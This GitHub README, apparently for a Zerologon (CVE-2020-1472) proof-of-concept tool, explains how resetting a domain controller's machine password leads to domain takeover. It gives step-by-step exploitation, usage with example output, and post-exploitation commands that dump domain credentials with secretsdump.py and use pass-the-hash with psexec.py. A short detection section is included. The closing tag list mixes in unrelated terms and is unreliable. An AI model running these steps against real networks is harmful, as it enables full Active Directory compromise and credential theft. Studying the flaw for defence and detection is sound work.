mods20hh/ZeroLogon-PoC-DC-Pwn
GitHub: mods20hh/ZeroLogon-PoC-DC-Pwn
Zerologon 漏洞 PoC 工具,利用 Netlogon 协议加密缺陷重置域控制器密码实现 Active Directory 完全接管。
Stars: 2 | Forks: 0
# Zerologon (CVE-2020-1472)
## 概述
本项目是 **Zerologon 漏洞 (CVE-2020-1472)** 的实现,这是最严重的 Active Directory 安全漏洞之一。该漏洞允许未经身份验证的攻击者通过重置域控制器的机器账户密码来入侵整个 Active Directory 域。
### CVSS 评分:10.0(严重)
## 什么是 Zerologon?
Zerologon 是 Microsoft Netlogon Remote Protocol (MS-NRPC) 中的一个加密缺陷。该漏洞存在于 Netlogon 使用 AES-CFB8 加密时,采用了硬编码的全零初始化向量 (IV)。
**技术摘要:**
- Netlogon 协议使用挑战-响应认证机制
- 由于不正确的加密实现,全零挑战有 1/256 的概率产生有效的身份验证
- 攻击者可以发送约 2000 次身份验证尝试来可靠地利用此缺陷
- 一旦通过身份验证,攻击者可以将域控制器的机器账户密码重置为已知值(空哈希)
## 工作原理
```
1. Target Selection
└─> Identify Domain Controller (FQDN, NetBIOS name, machine account)
2. Challenge Phase (I_NetServerReqChallenge)
└─> Send all-zero client challenge (0x0000000000000000)
└─> Receive server challenge
3. Authentication Phase (I_NetServerAuthenticate2)
└─> Attempt authentication with null credentials
└─> Repeat until successful (~1/256 success rate per attempt)
4. Password Reset Phase (I_NetServerPasswordSet2)
└─> Reset DC machine account password to empty
└─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
5. Post-Exploitation
└─> Use Pass-the-Hash with empty credentials
└─> Full domain compromise achieved
```
## 构建项目
### 前置条件
- Windows 开发环境 (Windows 10/11)
- Visual Studio 2022
- Windows SDK
### 编译
**使用 Visual Studio:**
```
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
```
## 用法
```
Zerologon.exe
```
**示例:**
```
Zerologon.exe DC01.corp.example.com DC01 DC01$
```
### 参数:
- `DC_FQDN`:目标域控制器的完全限定域名
- `DC_NetBIOS_Name`:DC 的 NetBIOS 名称(通常是主机名)
- `Machine_Account_Name`:机器账户名称(必须以 $ 结尾)
### 预期输出:
**成功利用:**
```
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc /@
```
**利用失败(已修补系统):**
```
[-] Attack failed after 2000 attempts. Target likely patched.
```
## 后渗透
成功重置 DC 密码后,你可以:
1. **转储域凭据:**
```
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
```
2. **Pass-the-Hash 身份验证:**
```
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
```
## 检测
**基于网络的检测:**
- 来自单一来源的多次 Netlogon 身份验证失败尝试
- MS-NRPC 流量中的异常模式
- 用于 Zerologon 利用的 IDS/IPS 特征
**基于日志的检测:**
```
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
```
**SIEM 查询:**
```
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
```
## 免责声明
此工具仅供**教育和授权安全研究目的**使用。
**作者对滥用本代码不承担任何责任。**
## 参考资料
### 官方资源:
- [CVE-2020-1472 - NIST](https://nvd.nist.gov/vuln/detail/CVE-2020-1472)
- [Microsoft 安全公告](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472)
- [Secura 研究论文](https://www.secura.com/blog/zero-logon)
### 技术分析:
- [Microsoft Netlogon 协议规范](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/)
- [Zerologon 技术深度剖析](https://www.secura.com/pathtoimg.php?id=2055)
### 工具:
- [Impacket 工具包](https://github.com/SecureAuthCorp/impacket) - 用于后渗透
- [Mimikatz](https://github.com/gentilkiwi/mimikatz) - 凭据提取
## 许可证
本项目根据 MIT 许可证授权。有关更多信息,请参阅 [LICENSE 文件](LICENSE)。
标签:Active Directory, AES-CFB8, C++, Conpot, cryptographic flaw, CVE-2020-1472, CVSS 10.0, MS-NRPC, Netlogon协议, NTLM, Plaso, PoC, Prisma Cloud, SCADA, UML, Visual Studio, Windows, Windows安全, Zerologon, 协议分析, 哈希传递, 域控制器, 域渗透, 威胁模拟, 密码重置, 攻击模拟, 数据擦除, 暴力破解, 权限提升, 概念验证, 模拟器, 电子数据取证, 网络安全, 隐私保护, 零日漏洞, 驱动签名利用